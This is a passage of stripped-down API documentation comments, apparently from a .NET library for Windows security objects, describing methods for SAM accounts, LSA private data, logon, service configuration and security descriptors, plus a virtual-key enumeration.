the user object. + True to throw on error. + The SAM user object. + + + + Open a user by relative ID. + + The user ID for the user. + The desired access for the user object. + The SAM user object. + + + + Open a user by SID. + + The sid for the user. + The desired access for the user object. + True to throw on error. + The SAM user object. + + + + Open a user by SID. + + The sid for the user. + The desired access for the user object. + The SAM user object. + + + + Open a user by name. + + The user name for the user. + The desired access for the user object. + True to throw on error. + The SAM user object. + + + + Open a user by name. + + The user name for the user. + The desired access for the user object. + The SAM user object. + + + + Open a group by relative ID. + + The ID for the group. + The desired access for the group object. + True to throw on error. + The SAM group object. + + + + Open a group by relative ID. + + The ID for the group. + The desired access for the group object. + The SAM group object. + + + + Open a group by SID. + + The sid for the group. + The desired access for the group object. + True to throw on error. + The SAM group object. + + + + Open a group by SID. + + The sid for the group. + The desired access for the group object. + The SAM group object. + + + + Open a group by name. + + The name for the group. + The desired access for the group object. + True to throw on error. + The SAM group object. + + + + Open a group by name. + + The name for the group. + The desired access for the group object. + The SAM group object. + + + + Create a new group object. + + The name of the group. + The desired access for the group object. + True to throw on error. + The SAM group object. + + + + Create a new group object. + + The name of the group. + The desired access for the group object. + The SAM group object. + + + + Create a new group object. + + The name of the group. + The SAM group object. + + + + Create a new user in the SAM. + + The name of the user. + The type of account. + Desired access for new user. + True to throw on error. + The SAM user object. + + + + Create a new user in the SAM. + + The name of the user. + The type of account. + Desired access for new user. + The SAM user object. + + + + Open an alias by relative ID. + + The ID for the alias. + The desired access for the alias object. + True to throw on error. + The SAM alias object. + + + + Open an alias by relative ID. + + The ID for the alias. + The desired access for the alias object. + The SAM alias object. + + + + Open an alias by SID. + + The sid for the alias. + The desired access for the alias object. + True to throw on error. + The SAM alias object. + + + + Open an alias by SID. + + The sid for the alias. + The desired access for the alias object. + The SAM alias object. + + + + Open an alias by name. + + The name for the alias. + The desired access for the alias object. + True to throw on error. + The SAM alias object. + + + + Open an alias by name. + + The name for the alias. + The desired access for the alias object. + The SAM alias object. + + + + Enumerate and open accessible user objects. + + User account control flags. + The desired access for the opened users. + True to throw on error. + The list of accessible users. + + + + Enumerate and open accessible user objects. + + User account control flags. + The desired access for the opened users. + The list of accessible users. + + + + Enumerate and open accessible user objects with maximum access. + + The list of accessible users. + + + + Enumerate and open accessible group objects. + + The desired access for the opened groups. + True to throw on error. + The list of accessible groups. + + + + Enumerate and open accessible group objects. + + The desired access for the opened groups. + The list of accessible groups. + + + + Enumerate and open accessible group objects with maximum access. + + The list of accessible groups. + + + + Enumerate and open accessible alias objects. + + The desired access for the opened aliases. + True to throw on error. + The list of accessible aliases. + + + + Enumerate and open accessible alias objects. + + The desired access for the opened aliases. + The list of accessible aliases. + + + + Enumerate and open accessible alias objects with maximum access. + + The list of accessible aliases. + + + + Convert a RID to a SID for the current object. + + The relative ID. + True to throw on error. + The converted SID. + + + + Convert a RID to a SID for the current object. + + The relative ID. + The converted SID. + + + + Get password information. + + True to throw on error. + + + + + Access rights for a SAM domain object. + + + + + The domain password policy. + + + + + Minimum password length. + + + + + Password history length. + + + + + Password properties flags. + + + + + Maximum password age. + + + + + Minimum password age. + + + + + Flags for password properties. + + + + + Class to represent a SAM group. + + + + + Get members of the group. + + True to throw on error. + The list of group members. + + + + Get members of the group. + + The list of group members. + + + + Query group attribute flags. + + True to throw on error. + The group attribute flags. + + + + Set the group attribute flags. + + The attributes to set. + True to throw on error. + The NT status code. + + + + Delete the group object. + + True to throw on error. + The NT status code. + + + + Delete the group object. + + + + + The group name. + + + + + The SID of the group. + + + + + Get or set the group attribute flags. + + + + + Access rights for the SAM group. + + + + + Membership entry for a group. + + + + + The group relative ID. + + + + + The attributes for the group. + + + + + Base class for a SAM object. + + + + + The name of the server that we've connected to. + + + + + Get the NT type for the object. + + + + + Get the object name for the object. + + + + + Get whether the object is a container. + + + + + Get the object's security descriptor. + + + + + Is an access mask granted to the object. + + The access to check. + True if all access is granted. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status code. + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Dispose the policy. + + + + + Represents information for a SAM relative value. + + + + + The name of the domain. + + + + + The RID of the domain. + + + + + Class to represent a connection to a SAM server. + + + + + Enumerate domains in the SAM. + + True to throw on error. + The list of domains. + + + + Enumerate domains in the SAM. + + The list of domains. + + + + Lookup the domain SID for a domain name. + + The name of the domain. + True to throw on error. + The domain SID. + + + + Lookup the domain SID for a domain name. + + The name of the domain. + The domain SID. + + + + Open a SAM domain object. + + The domain SID. + The desired access for the object. + True to throw on error. + The SAM domain object. + + + + Open a SAM domain object. + + The domain SID. + The desired access for the object. + The SAM domain object. + + + + Open a SAM domain object. + + The name of the domain. + The desired access for the object. + True to throw on error. + The SAM domain object. + + + + Open a SAM domain object. + + The name of the domain. + The desired access for the object. + The SAM domain object. + + + + Enumerate and open accessible domain objects. + + The desired access for the opened domains. + True to throw on error. + The list of accessible domains. + + + + Enumerate and open accessible domain objects. + + The desired access for the opened domains. + The list of accessible domains. + + + + Opens the builtin domain on the server. + + The desired access for the object. + True to throw on error. + The SAM domain object. + + + + Opens the builtin domain on the server. + + The desired access for the object. + The SAM domain object. + + + + Opens the user domain on the server. + + The desired access for the object. + True to throw on error. + The SAM domain object. + + + + Opens the user domain on the server. + + The desired access for the object. + The SAM domain object. + + + + Connect to a SAM server. + + The name of the server. Set to null for local connection. + The desired access on the SAM server. + True to throw on error. + The server connection. + + + + Connect to a SAM server. + + The name of the server. Set to null for local connection. + The desired access on the SAM server. + The server connection. + + + + Connect to a SAM server. + + The desired access on the SAM server. + The server connection. + + + + Connect to a SAM server with maximum access. + + The server connection. + + + + Access rights for the SAM server. + + + + + Class to represent a SAM user. + + + + + Get full name for the user. + + True to throw on error. + The full name of the user. + + + + Get home directory for the user. + + True to throw on error. + The home directory of the user. + + + + Get primary group ID for the user. + + True to throw on error. + The primary group ID of the user. + + + + Get user account control flags for the user. + + True to throw on error. + The user account control flags of the user. + + + + Change a user's password. + + The old password. + The new password. + True to throw on error. + The NT status code. + + + + Change a user's password. + + The old password. + The new password. + + + + Set a user's password. + + The password to set. + Whether the password has expired. + True to throw on error. + The NT status code. + + + + Set a user's password. + + The password to set. + Whether the password has expired. + + + + The user name. + + + + + The SID of the user. + + + + + Get full name for the user. + + + + + Get home directory for the user. + + + + + Get user account control flags for the user. + + + + + Is the account disabled? + + + + + Get the primary group SID. + + + + + Access rights for a SAM user object. + + + + + Type of user account to create. + + + + + A user account. + + + + + A workstation trust account. + + + + + A server trust account. + + + + + A temporary duplicate account. + + + + + Inter domain trust account. + + + + + User account control flags. + + + + + Security utilities which call the Win32 APIs. + + + + + Set security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + True to throw on error. + The NT status code. + + + + Set security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + Specify to indicate when to execute progress function. + The security operation to perform on the tree. + Progress function. + + + + Set security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + Specify to indicate when to execute progress function. + The security operation to perform on the tree. + Progress function. + True to throw on error. + The NT status code. + + + + Set security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + The Win32 Error Code. + + + + Set security using an object handle. + + The handle of the object. + The type of object. + The security information to set. + The security descriptor to set. + True to throw on error. + The NT status code. + + + + Set security using an object handle. + + The handle of the object. + The type of object. + The security information to set. + The security descriptor to set. + + + + Set security using an object handle. + + The handle of the object. + The type of object. + The security information to set. + The security descriptor to set. + True to throw on error. + The NT status code. + + + + Set security using an object handle. + + The handle of the object. + The type of object. + The security information to set. + The security descriptor to set. + + + + Reset security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + True to keep explicit ACEs. + Specify to indicate when to execute progress function. + Progress function. + + + + Reset security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + Specify to indicate when to execute progress function. + True to keep explicit ACEs. + Progress function. + True to throw on error. + The NT status code. + + + + Get the source of inherited ACEs. + + The name of the resource. + The type of the resource. + Whether the resource is a container. + Optional list of object types. + The security descriptor for the resource. + True to check the SACL otherwise checks the DACL. + Generic mapping for the resource. + Query security descriptors for sources. + True to throw on error. + The list of inheritance sources. + + + + Get the source of inherited ACEs. + + The name of the resource. + The type of the resource. + Whether the resource is a container. + Optional list of object types. + The security descriptor for the resource. + True to check the SACL otherwise checks the DACL. + Generic mapping for the resource. + Query security descriptors for sources. + The list of inheritance sources. + + + + Get the security descriptor for a named resource. + + The name of the resource. + The type of the resource. + The security information to get. + True to throw on error. + The security descriptor. + + + + Get the security descriptor for a named resource. + + The name of the resource. + The type of the resource. + The security information to get. + The security descriptor. + + + + Get the security descriptor for a resource. + + The handle to the resource. + The type of the resource. + The security information to get. + True to throw on error. + The security descriptor. + + + + Get the security descriptor for a resource. + + The handle to the resource. + The type of the resource. + The security information to get. + The security descriptor. + + + + Get the NT type for a SE Object Type. + + The type of the resource. + The NT type if known, otherwise null. + + + + Lookup a privilege display name. + + The system name to do the lookup on. + The privilege name. + The display name. Empty string on error. + + + + Add a SID to name mapping with LSA. + + The domain name for the SID. The SID must be in the NT authority. + The account name for the SID. Can be null for a domain SID. + The SID to add. + True to throw on error. + The NT status result. + + + + Add a SID to name mapping with LSA. + + The domain name for the SID. + The account name for the SID. Can be null for a domain SID. + The SID to add. + The NT status result. + + + + Remove a SID to name mapping with LSA. + + The domain name for the SID. + The account name for the SID. Can be null for a domain SID. + True to throw on error. + The NT status result. + + + + Remove a SID to name mapping with LSA. + + The domain name for the SID. + The account name for the SID. Can be null for a domain SID. + The NT status result. + + + + Remove a SID to name mapping with LSA. + + The SID to remove. + The NT status result. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + True to throw on error. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + Additional groups to add. Needs SeTcbPrivilege. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + Additional groups to add. Needs SeTcbPrivilege. + True to throw on error. + The logged on token. + + + + Lookup a SID's internet name. + + The SID to lookup. + True to throw on error. + The name of the sid as an internet account. + This still might return the normal NT4 style account name if the user is not an internet user. + + + + Lookup a SID's internet name. + + The SID to lookup. + The name of the sid as an internet account. + This still might return the normal NT4 style account name if the user is not an internet user. + + + + Retrieve LSA private data. + + The system containing the LSA instance. + The name of the key. + True to throw on error. + The private data as bytes. + + + + Retrieve LSA private data. + + The system containing the LSA instance. + The name of the key. + The private data as bytes. + + + + Retrieve LSA private data. + + The name of the key. + The private data as bytes. + + + + Store LSA private data. + + The system containing the LSA instance. + The name of the key. + The data to store. + True to throw on error. + The NT status code. + + + + Store LSA private data. + + The system containing the LSA instance. + The name of the key. + The data to store. + + + + Store LSA private data. + + The name of the key. + The data to store. + + + + Delete LSA private data. + + The system containing the LSA instance. + The name of the key. + True to throw on error. + The NT status code. + + + + Delete LSA private data. + + The system containing the LSA instance. + The name of the key. + + + + Delete LSA private data. + + The name of the key. + + + + Virtual Key enumeration. + + + + + Left mouse button + + + + + Right mouse button + + + + + Control-break processing + + + + + Middle mouse button (three-button mouse) + + + + + Windows 2000/XP: X1 mouse button + + + + + Windows 2000/XP: X2 mouse button + + + + + BACKSPACE key + + + + + TAB key + + + + + CLEAR key + + + + + ENTER key + + + + + SHIFT key + + + + + CTRL key + + + + + ALT key + + + + + PAUSE key + + + + + CAPS LOCK key + + + + + Input Method Editor (IME) Kana mode + + + + + IME Hangul mode + + + + + IME Junja mode + + + + + IME final mode + + + + + IME Hanja mode + + + + + IME Kanji mode + + + + + ESC key + + + + + IME convert + + + + + IME nonconvert + + + + + IME accept + + + + + IME mode change request + + + + + SPACEBAR + + + + + PAGE UP key + + + + + PAGE DOWN key + + + + + END key + + + + + HOME key + + + + + LEFT ARROW key + + + + + UP ARROW key + + + + + RIGHT ARROW key + + + + + DOWN ARROW key + + + + + SELECT key + + + + + PRINT key + + + + + EXECUTE key + + + + + PRINT SCREEN key + + + + + INS key + + + + + DEL key + + + + + HELP key + + + + + 0 key + + + + + 1 key + + + + + 2 key + + + + + 3 key + + + + + 4 key + + + + + 5 key + + + + + 6 key + + + + + 7 key + + + + + 8 key + + + + + 9 key + + + + + A key + + + + + B key + + + + + C key + + + + + D key + + + + + E key + + + + + F key + + + + + G key + + + + + H key + + + + + I key + + + + + J key + + + + + K key + + + + + L key + + + + + M key + + + + + N key + + + + + O key + + + + + P key + + + + + Q key + + + + + R key + + + + + S key + + + + + T key + + + + + U key + + + + + V key + + + + + W key + + + + + X key + + + + + Y key + + + + + Z key + + + + + Left Windows key (Microsoft Natural keyboard) + + + + + Right Windows key (Natural keyboard) + + + + + Applications key (Natural keyboard) + + + + + Computer Sleep key + + + + + Numeric keypad 0 key + + + + + Numeric keypad 1 key + + + + + Numeric keypad 2 key + + + + + Numeric keypad 3 key + + + + + Numeric keypad 4 key + + + + + Numeric keypad 5 key + + + + + Numeric keypad 6 key + + + + + Numeric keypad 7 key + + + + + Numeric keypad 8 key + + + + + Numeric keypad 9 key + + + + + Multiply key + + + + + Add key + + + + + Separator key + + + + + Subtract key + + + + + Decimal key + + + + + Divide key + + + + + F1 key + + + + + F2 key + + + + + F3 key + + + + + F4 key + + + + + F5 key + + + + + F6 key + + + + + F7 key + + + + + F8 key + + + + + F9 key + + + + + F10 key + + + + + F11 key + + + + + F12 key + + + + + F13 key + + + + + F14 key + + + + + F15 key + + + + + F16 key + + + + + F17 key + + + + + F18 key + + + + + F19 key + + + + + F20 key + + + + + F21 key + + + + + F22 key, (PPC only) Key used to lock device. + + + + + F23 key + + + + + F24 key + + + + + NUM LOCK key + + + + + SCROLL LOCK key + + + + + Left SHIFT key + + + + + Right SHIFT key + + + + + Left CONTROL key + + + + + Right CONTROL key + + + + + Left MENU key + + + + + Right MENU key + + + + + Windows 2000/XP: Browser Back key + + + + + Windows 2000/XP: Browser Forward key + + + + + Windows 2000/XP: Browser Refresh key + + + + + Windows 2000/XP: Browser Stop key + + + + + Windows 2000/XP: Browser Search key + + + + + Windows 2000/XP: Browser Favorites key + + + + + Windows 2000/XP: Browser Start and Home key + + + + + Windows 2000/XP: Volume Mute key + + + + + Windows 2000/XP: Volume Down key + + + + + Windows 2000/XP: Volume Up key + + + + + Windows 2000/XP: Next Track key + + + + + Windows 2000/XP: Previous Track key + + + + + Windows 2000/XP: Stop Media key + + + + + Windows 2000/XP: Play/Pause Media key + + + + + Windows 2000/XP: Start Mail key + + + + + Windows 2000/XP: Select Media key + + + + + Windows 2000/XP: Start Application 1 key + + + + + Windows 2000/XP: Start Application 2 key + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Windows 2000/XP: For any country/region, the '+' key + + + + + Windows 2000/XP: For any country/region, the ',' key + + + + + Windows 2000/XP: For any country/region, the '-' key + + + + + Windows 2000/XP: For any country/region, the '.' key + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard + + + + + Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key + + + + + Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. + The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, + see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP + + + + + Attn key + + + + + CrSel key + + + + + ExSel key + + + + + Erase EOF key + + + + + Play key + + + + + Zoom key + + + + + Reserved + + + + + PA1 key + + + + + Clear key + + + + + Class representing the information about a service. + + + + + The name of the service. + + + + + The security descriptor of the service. + + + + + The list of triggers for the service. + + + + + The service SID setting. + + + + + The service launch protected setting. + + + + + The service required privileges. + + + + + The service type. + + + + + Service start type. + + + + + Error control. + + + + + Binary path name. + + + + + Load order group. + + + + + Tag ID for load order. + + + + + Dependencies. + + + + + Display name. + + + + + Service start name. For user mode services this is the username, for drivers it's the driver name. + + + + + Indicates this service is set to delayed automatic start. + + + + + The user name this service runs under. + + + + + Type of service host when using Win32Share. + + + + + Service main function when using Win32Share. + + + + + Image path for the service. + + + + + Get name of the target image, either the ServiceDll or ImagePath. + + + + + Service DLL if a shared process server. + + + + + The name of the machine this service was found on. + + + + + Indicates if this service process is grouped with others. + + + + + Class to represent custom data for a service trigger. + + + + + The type of data. + + + + + The raw custom data. + + + + + The custom data as a string. + + + + + The custom data as an array of strings (only useful for String type). + + + + + Overidden ToString method. + + The data as a string. + + + + Trigger information for a service. + + + + + The type of service trigger. + + + + + The service trigger action. + + + + + The sub-type GUID. + + + + + The description of the sub type. + + + + + Custom data. + + + + + Overridden ToString method. + + The trigger as a string. + + + + Trigger the service. + + + + + Service trigger type. + + + + + Represents an action that the service control manager can perform. + + + + + The action to be performed. + + + + + The time to wait before performing the specified action, in milliseconds. + + + + The action to be performed. + The time to wait before performing the specified action, in milliseconds. + + + + Utilities for accessing services. + + + + + The name of the fake NT type for a service. + + + + + The name of the fake NT type for the SCM. + + + + + Get the generic mapping for the SCM. + + The SCM generic mapping. + + + + Get the generic mapping for a service. + + The service generic mapping. + + + + Get the security descriptor of the SCM. + + The SCM security descriptor. + + + + Get the security descriptor of the SCM. + + The name of a target computer. Can be null or empty to specify local machine. + Parts of the security descriptor to return. + True to throw on error. + The SCM security descriptor. + + + + Get the security descriptor of the SCM. + + The name of a target computer. Can be null or empty to specify local machine. + Parts of the security descriptor to return. + The SCM security descriptor. + + + + Get the security descriptor of the SCM. + + Parts of the security descriptor to return. + True to throw on error. + The SCM security descriptor. + + + + Get the security descriptor of the SCM. + + Parts of the security descriptor to return. + The SCM security descriptor. + + + + Get the security descriptor for a service. + + The name of the service. + Parts of the security descriptor to return. + True to throw on error. + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor. + + + + Get the security descriptor for a service. + + The name of the service. + Parts of the security descriptor to return. + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor. + + + + Get the security descriptor for a service. + + The name of the service. + Parts of the security descriptor to return. + True to throw on error. + The security descriptor. + + + + Get the security descriptor for a service. + + The name of the service. + Parts of the security descriptor to return. + The security descriptor. + + + + Set the SCM security descriptor. + + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor to set. + The parts of the security descriptor to set. + True to throw on error. + The NT status code. + + + + Set the SCM security descriptor. + + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor to set. + The parts of the security descriptor to set. + + + + Set the SCM security descriptor. + + The security descriptor to set. + The parts of the security descriptor to set. + True to throw on error. + The NT status code. + + + + Set the SCM security descriptor. + + The security descriptor to set. + The parts of the security descriptor to set. + + + + Get the information about a service. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + True to throw on error. + The service information. + + + + Get the information about a service. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + The service information. + + + + Get the information about a service. + + The name of the service. + True to throw on error. + The service information. + + + + Set the security descriptor for a service. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor to set. + The security information to set. + True to throw on error. + The NT status. + + + + Set the security descriptor for a service. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor to set. + The security information to set. + + + + Set the security descriptor for a service. + + The name of the service. + The security descriptor to set. + The security information to set. + True to throw on error. + The NT status. + + + + Set the security descriptor for a service. + + The name of the service. + The security descriptor to set. + The security information to set. + + + + Get the information about a service. + + The name of the service. + The service information. + + + + Get the information about all services. + + The name of a target computer. Can be null or empty to specify local machine. + The types of services to return. + The list of service information. + + + + Get the information about all services. + + The types of services to return. + The list of service information. + + + + Get the PID of a running service. + + The name of the service. + Returns the PID of the running service, or 0 if not running. + Thrown on error. + + + + Get the PIDs of a list of running service. + + The names of the services. + Returns the PID of the running service, or 0 if not running. + Thrown on error. + + + + Get a running service by name. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + True to throw on error. + The running service. + This will return active and non-active services as well as drivers. + + + + Get a running service by name. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + The running service. + This will return active and non-active services as well as drivers. + + + + Get a running service by name. + + The name of the service. + The running service. + True to throw on error. + This will return active and non-active services as well as drivers. + + + + Get a running service by name. + + The name of the service. + The running service. + This will return active and non-active services as well as drivers. + + + + Get a list of all registered services. + + The name of a target computer. Can be null or empty to specify local machine. + Specify state of services to get. + Specify the type filter for services. + A list of registered services. + + + + Get a list of all registered services. + + Specify state of services to get. + Specify the type filter for services. + A list of registered services. + + + + Get flags for all user service types. + + The flags for user service types. + + + + Get flags for all kernel driver types. + + The flags for kernel driver types. + + + + Get a list of all registered services. + + A list of registered services. + + + + Get a list of all active running services with their process IDs. + + A list of all active running services with process IDs. + + + + Get a list of all drivers. + + A list of all drivers. + + + + Get a list of all active running drivers. + + A list of all active running drivers. + + + + Get a list of all services and drivers. + + A list of all services and drivers. + + + + Get a list of all services and drivers. + + A list of all services and drivers. + + + + Get a fake NtType for a service. + + Service returns the service type, SCM returns SCM type. + The fake service NtType. Returns null if not a recognized type. + + + + Create a new service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + True to throw on error. + The registered service information. + + + + Create a new service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + The registered service information. + + + + Create a new service. + + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + True to throw on error. + The registered service information. + + + + Create a new service. + + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + The registered service information. + + + + Delete a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + True to throw on error. + The NT status. + + + + Delete a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The NT status. + + + + Delete a service. + + The name of the service. + True to throw on error. + The NT status. + + + + Delete a service. + + The name of the service. + + + + Send a control code to a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + True to throw on error. + The NT status code. + + + + Send a control code to a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + + + + Send a control code to a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + + + + Send a control code to a service. + + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + + + + Send a control code to a service. + + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + + + + Change service configuration. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + The tag ID. + List of service dependencies. + The username for the service. + Password for the username if needed. + True to throw on error. + The NT status code. + + + + Change service configuration. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + The tag ID. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + + + + Change service configuration. + + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + The tag ID. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + True to throw on error. + The NT status code. + + + + Change service configuration. + + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + The tag ID. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + + + + Start a service by name. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + Optional arguments to pass to the service. + True to throw on error. + The status code for the service. + + + + Start a service by name. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + Optional arguments to pass to the service. + + + + Start a service by name. + + The name of the service. + Optional arguments to pass to the service. + True to throw on error. + The status code for the service. + + + + Start a service by name. + + The name of the service. + Optional arguments to pass to the service. + The status code for the service. + + + + Set a service's SID type. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The SID type to set. + True to throw on error. + The NT status code. + + + + Set a service's SID type. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The SID type to set. + + + + Set a service's SID type. + + The name of the service. + The SID type to set. + True to throw on error. + The NT status code. + + + + Set a service's SID type. + + The name of the service. + The SID type to set. + + + + Set a service's delayed auto-start. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + If true, the service is started after other auto-start services are started plus a short delay. Otherwise, the service is started during system boot. + True to throw on error. + The NT status code. + + + + + + + + + + + + + + + Set a service's failure recover actions. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + Actions to be performed on service failure. +
If this value is null, is ignored. +
If this value is empty, the reset period and array of failure actions are deleted. + The time after which to reset the failure count to zero if there are no failures, in seconds. Specify -1 to indicate that this value should never be reset. + The command line of the process for the CreateProcess function to execute in response to the command run service controller action. +
This process runs under the same account as the service. +
If this value is null, the command is unchanged. +
If the value is an empty string (""), the command is deleted and no program is run when the service fails. + The message to be broadcast to server users before rebooting in response to the reboot action service controller action. +
If this value is null, the reboot message is unchanged. +
If the value is an empty string (""), the reboot message is deleted and no message is broadcast. +
This member can specify a localized string using the following format: @[path]dllname,-strID +
The string with identifier strID is loaded from dllname; path is optional. + True to throw on error. + The NT status code. +
+ + + + + + + + + + + + + + Set a service's required privileges. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The required privileges. + True to throw on error. + The NT status code. + + + + Set a service's required privileges. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The required privileges. + + + + Set a service's required privileges. + + The name of the service. + The required privileges. + True to throw on error. + The NT status code. + + + + Set a service's required privileges. + + The name of the service. + The required privileges. + + + + Set a service's launch protected type. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The protected type. + True to throw on error. + The NT status code. + + + + Set a service's launch protected type. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The protected type. + + + + Set a service's required privileges. + + The name of the service. + The protected type. + True to throw on error. + The NT status code. + + + + Set a service's SID type. + + The name of the service. + The protected type. + + + + A service trigger for an ETW event. + + + + + The security descriptor for the ETW event. Needs administrator privileges. + + + + + Trigger the service. + + + + + Service trigger for firewall port interface. + + + + + The port for the firewall service trigger. + + + + + The protocol for the firewall service trigger. + + + + + The protocol for the firewall service trigger. + + + + + The protocol for the firewall service trigger. + + + + + Service trigger for a named pipe. + + + + + The path to the named pipe. + + + + + Service trigger for an RPC interface. + + + + + List of interface ID for the RPC server. + + + + + Class to represent a handle to the SCM. + + + + + Active services database. + + + + + Failed services database. + + + + + Open an instance of the SCM. + + The machine name for the SCM. + The database name. Specify SERVICES_ACTIVE_DATABASE or SERVICES_FAILED_DATABASE. + If null then SERVICES_ACTIVE_DATABASE is used. + The desired access for the SCM connection. + True to throw on error. + The SCM instance. + + + + Open an instance of the SCM. + + The machine name for the SCM. + The database name. Specify SERVICES_ACTIVE_DATABASE or SERVICES_FAILED_DATABASE. + If null then SERVICES_ACTIVE_DATABASE is used. + The desired access for the SCM connection. + The SCM instance. + + + + Open an instance of the SCM. + + The machine name for the SCM. + The desired access for the SCM connection. + The SCM instance. + + + + Get the Win32 services for the SCM. + + The state of the services to return. + The types of services to return. + True throw on error. + The list of services. + SCM must have been opened with EnumerateService access. + + + + Get the Win32 services for the SCM. + + The state of the services to return. + The types of services to return. + The list of services. + SCM must have been opened with EnumerateService access. + + + + Dispose the object. + + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Service trigger for a WNF event. + + + + + The WNF name. + + + + + Represents a loaded module from the symbol resolver. + + + + + The name of the module. + + + + + The base address of the module. + + + + + The image size of the module. + + + + + Get the path to the loaded PDB file is known. + + + + + True indicates this module only has export symbols. + + + + + Query names of types for this module. + + The list of type names. + + + + Query types in a module. + + The list of types. + + + + Get a type by name. + + The name of the type. + + + + + Query types by name + + A mask string for the type name. e.g. mod!ABC* + The list of types. + + + + Returns the name of the module. + + The name of the module. + + + + Static class for creating symbolic resolvers. + + + + + Create a new instance of a symbol resolver. + + The process in which the symbols should be resolved. + The path to dbghelp.dll, ideally should use the one which comes with Debugging Tools for Windows. + The symbol path. + Flags for the symbol resolver. + A text writer for output when specifying the TraceSymbolLoading flag. + The instance of a symbol resolver. Should be disposed when finished. + + + + Create a new instance of a symbol resolver. + + The process in which the symbols should be resolved. + The path to dbghelp.dll, ideally should use the one which comes with Debugging Tools for Windows. + The symbol path. + The instance of a symbol resolver. Should be disposed when finished. + + + + Create a new instance of a symbol resolver. Uses the system dbghelp library and symbol path + from _NT_SYMBOL_PATH environment variable. + + The process in which the symbols should be 